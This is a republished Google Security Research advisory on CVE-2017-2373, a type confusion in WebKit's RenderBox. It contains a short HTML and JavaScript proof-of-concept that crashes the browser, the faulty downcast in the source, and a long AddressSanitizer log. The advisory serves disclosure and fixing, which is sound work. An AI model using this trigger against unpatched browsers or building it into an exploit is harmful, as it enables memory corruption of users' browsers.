Apple WebKit Renderbox Type Confusion

2017-02-0100:00:00
Google Security Research
packetstormsecurity.com
0.055 Low
EPSS
Percentile
92.4%
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` Apple WebKit: Type confusion in RenderBox with accessibility enabled   
  
CVE-2017-2373  
  
  
There is a type confusion vulnerability that affects WebKit with accessibility enabled (WebCore::AXObjectCache::gAccessibilityEnabed).  
  
PoC:  
  
===============================  
  
<script>  
function boom() {  
m.append("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");  
m.setAttribute("aria-labeledby", "t");  
d.open = false;  
}  
</script>  
<body onload=boom()>  
<title id="t">foo</title>  
<menu id="m">  
<details id="d" open="true">  
  
===============================  
  
  
Bad cast happens in RenderBox.h in  
  
inline RenderBox* RenderBox::firstChildBox() const  
{  
return downcast<RenderBox>(firstChild());  
}  
  
The function expects that the first child is going to be of type RenderBox, but in the PoC it is actually of type RenderText.  
  
This was tested on WebKitGTK+ 2.14.2 (latest stable version at this time). The PoC also crashes Safari on Mac, but only if the PoC is run while the Web Inspector / Error Console are enabled. It appears this behavior is caused by the fact that opening inspector enables accessibility features (via a call to AXObjectCache::enableAccessibility), while accessibility features are enabled in WebKitGTK+ by default through WebPageAccessibilityObjectAtk.  
  
ASAN log follows.  
  
=================================================================  
==5530==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7fd724fdca78 at pc 0x7fd72289499f bp 0x7ffc9e7a40b0 sp 0x7ffc9e7a40a8  
READ of size 8 at 0x7fd724fdca78 thread T0  
#0 0x7fd72289499e in WebCore::RenderBox::computeBlockDirectionMargins(WebCore::RenderBlock const&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBox.cpp:3260:21  
#1 0x7fd7228a00b1 in WebCore::RenderBox::computeAndSetBlockDirectionMargins(WebCore::RenderBlock const&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBox.cpp:3270:5  
#2 0x7fd7227faa45 in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:660:5  
#3 0x7fd7227f6abe in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:632:9  
#4 0x7fd7227f2d55 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:487:9  
#5 0x7fd7227a24b7 in WebCore::RenderBlock::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:1075:5  
#6 0x7fd7227fb3a0 in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:709:9  
#7 0x7fd7227f6abe in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:632:9  
#8 0x7fd7227f2d55 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:487:9  
#9 0x7fd7227a24b7 in WebCore::RenderBlock::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:1075:5  
#10 0x7fd7227fb3a0 in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:709:9  
#11 0x7fd7227f6abe in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:632:9  
#12 0x7fd7227f2d55 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:487:9  
#13 0x7fd7227a24b7 in WebCore::RenderBlock::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:1075:5  
#14 0x7fd7227fb3a0 in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:709:9  
#15 0x7fd7227f6abe in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:632:9  
#16 0x7fd7227f2d55 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlockFlow.cpp:487:9  
#17 0x7fd7227a24b7 in WebCore::RenderBlock::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:1075:5  
#18 0x7fd722c7d92f in WebCore::RenderView::layoutContent(WebCore::LayoutState const&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderView.cpp:244:5  
#19 0x7fd722c7ee64 in WebCore::RenderView::layout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderView.cpp:370:9  
#20 0x7fd72221b17b in WebCore::FrameView::layout(bool) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/page/FrameView.cpp:1438:9  
#21 0x7fd721495fe2 in WebCore::Document::updateLayout() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:2007:9  
#22 0x7fd7214a2801 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:2039:5  
#23 0x7fd721579993 in WebCore::Element::innerText() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Element.cpp:2518:5  
#24 0x7fd720c6d821 in WebCore::accessibleNameForNode(WebCore::Node*, WebCore::Node*) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1887:16  
#25 0x7fd720c7695c in WebCore::AccessibilityNodeObject::accessibilityDescriptionForElements(WTF::Vector<WebCore::Element*, 0ul, WTF::CrashOnOverflow, 16ul>&) const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1930:44  
#26 0x7fd720c77102 in WebCore::AccessibilityNodeObject::ariaLabeledByAttribute() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1955:12  
#27 0x7fd720c773e9 in WebCore::AccessibilityNodeObject::ariaAccessibilityDescription() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1166:28  
#28 0x7fd720c773e9 in WebCore::AccessibilityNodeObject::hasAttributesRequiredForInclusion() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1963  
#29 0x7fd720cc408b in WebCore::AccessibilityRenderObject::computeAccessibilityIsIgnored() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityRenderObject.cpp:1356:9  
#30 0x7fd720cac82c in WebCore::AccessibilityObject::accessibilityIsIgnored() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityObject.cpp:2978:19  
#31 0x7fd720cab793 in WebCore::AccessibilityObject::notifyIfIgnoredValueChanged() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityObject.cpp:2870:22  
#32 0x7fd72279df02 in WebCore::RenderBlock::makeChildrenNonInline(WebCore::RenderObject*) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:707:5  
#33 0x7fd72279d37a in WebCore::RenderBlock::addChildIgnoringContinuation(WebCore::RenderObject*, WebCore::RenderObject*) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:606:9  
#34 0x7fd722eb34fa in WebCore::RenderTreePosition::insert(WebCore::RenderObject&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreePosition.h:93:5  
#35 0x7fd722eb34fa in WebCore::RenderTreeUpdater::createRenderer(WebCore::Element&, WebCore::RenderStyle&&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreeUpdater.cpp:370  
#36 0x7fd722eaec96 in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreeUpdater.cpp:283:9  
#37 0x7fd722eac9ad in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreeUpdater.cpp:173:9  
#38 0x7fd722eabdcf in WebCore::RenderTreeUpdater::commit(std::unique_ptr<WebCore::Style::Update, std::default_delete<WebCore::Style::Update> >) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreeUpdater.cpp:120:9  
#39 0x7fd7214a045e in WebCore::Document::recalcStyle(WebCore::Style::Change) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:1936:13  
#40 0x7fd7214a1a4f in WebCore::Document::updateStyleIfNeeded() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:1982:5  
#41 0x7fd7214a1a4f in WebCore::Document::implicitClose() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:2807  
#42 0x7fd721f666e8 in WebCore::FrameLoader::checkCallImplicitClose() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/FrameLoader.cpp:870:5  
#43 0x7fd721f666e8 in WebCore::FrameLoader::checkCompleted() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/FrameLoader.cpp:816  
#44 0x7fd721f6101a in WebCore::FrameLoader::finishedParsing() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/FrameLoader.cpp:737:5  
#45 0x7fd7214da906 in WebCore::Document::finishedParsing() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:5228:9  
#46 0x7fd721c66aca in WebCore::HTMLDocumentParser::end() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/html/parser/HTMLDocumentParser.cpp:406:5  
#47 0x7fd721c66aca in WebCore::HTMLDocumentParser::attemptToRunDeferredScriptsAndEnd() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/html/parser/HTMLDocumentParser.cpp:415  
#48 0x7fd721c66aca in WebCore::HTMLDocumentParser::prepareToStopParsing() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/html/parser/HTMLDocumentParser.cpp:135  
#49 0x7fd721f480d3 in WebCore::DocumentWriter::end() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentWriter.cpp:269:5  
#50 0x7fd721f20e29 in WebCore::DocumentLoader::finishedLoading(double) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentLoader.cpp:442:5  
#51 0x7fd721f2a031 in WebCore::DocumentLoader::continueAfterContentPolicy(WebCore::PolicyAction) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentLoader.cpp:829:13  
#52 0x7fd721f25361 in WebCore::DocumentLoader::responseReceived(WebCore::CachedResource*, WebCore::ResourceResponse const&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentLoader.cpp:711:9  
#53 0x7fd721f1b2a9 in WebCore::DocumentLoader::handleSubstituteDataLoadNow() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentLoader.cpp:477:5  
#54 0x7fd722434521 in WebCore::ThreadTimers::sharedTimerFiredInternal() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/platform/ThreadTimers.cpp:121:9  
#55 0x7fd71f10ff1b in WTF::RunLoop::TimerBase::TimerBase(WTF::RunLoop&)::$_3::operator()(void*) const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WTF/wtf/glib/RunLoopGLib.cpp:162:9  
#56 0x7fd71f10ff1b in WTF::RunLoop::TimerBase::TimerBase(WTF::RunLoop&)::$_3::__invoke(void*) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WTF/wtf/glib/RunLoopGLib.cpp:160  
#57 0x7fd717fcf059 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4a059)  
#58 0x7fd717fcf3ff (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4a3ff)  
#59 0x7fd717fcf721 in g_main_loop_run (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4a721)  
#60 0x7fd71f10f384 in WTF::RunLoop::run() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WTF/wtf/glib/RunLoopGLib.cpp:94:9  
#61 0x7fd7208b6f98 in int WebKit::ChildProcessMain<WebKit::WebProcess, WebKit::WebProcessMain>(int, char**) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebKit2/Shared/unix/ChildProcessMain.h:61:5  
#62 0x7fd71378b82f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291  
#63 0x41a218 in _start (/webkit/libexec/webkit2gtk-4.0/WebKitWebProcess+0x41a218)  
  
0x7fd724fdca78 is located 272 bytes to the right of global variable 'vtable for WebCore::RenderText' defined in '/home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderText.cpp' (0x7fd724fdc400) of size 1384  
SUMMARY: AddressSanitizer: global-buffer-overflow /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBox.cpp:3260:21 in WebCore::RenderBox::computeBlockDirectionMargins(WebCore::RenderBlock const&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) const  
Shadow bytes around the buggy address:  
0x0ffb649f38f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0ffb649f3900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0ffb649f3910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0ffb649f3920: 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9  
0x0ffb649f3930: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9  
=>0x0ffb649f3940: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9[f9]  
0x0ffb649f3950: f9 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 f9 f9  
0x0ffb649f3960: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00  
0x0ffb649f3970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0ffb649f3980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0ffb649f3990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
Shadow byte legend (one shadow byte represents 8 application bytes):  
Addressable: 00  
Partially addressable: 01 02 03 04 05 06 07   
Heap left redzone: fa  
Heap right redzone: fb  
Freed heap region: fd  
Stack left redzone: f1  
Stack mid redzone: f2  
Stack right redzone: f3  
Stack partial redzone: f4  
Stack after return: f5  
Stack use after scope: f8  
Global redzone: f9  
Global init order: f6  
Poisoned by user: f7  
Container overflow: fc  
Array cookie: ac  
Intra object redzone: bb  
ASan internal: fe  
Left alloca redzone: ca  
Right alloca redzone: cb  
==5530==ABORTING  
  
  
  
This bug is subject to a 90 day disclosure deadline. If 90 days elapse  
without a broadly available patch, then the bug report will automatically  
become visible to the public.  
  
  
  
  
Found by: ifratric  
  
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EPSS
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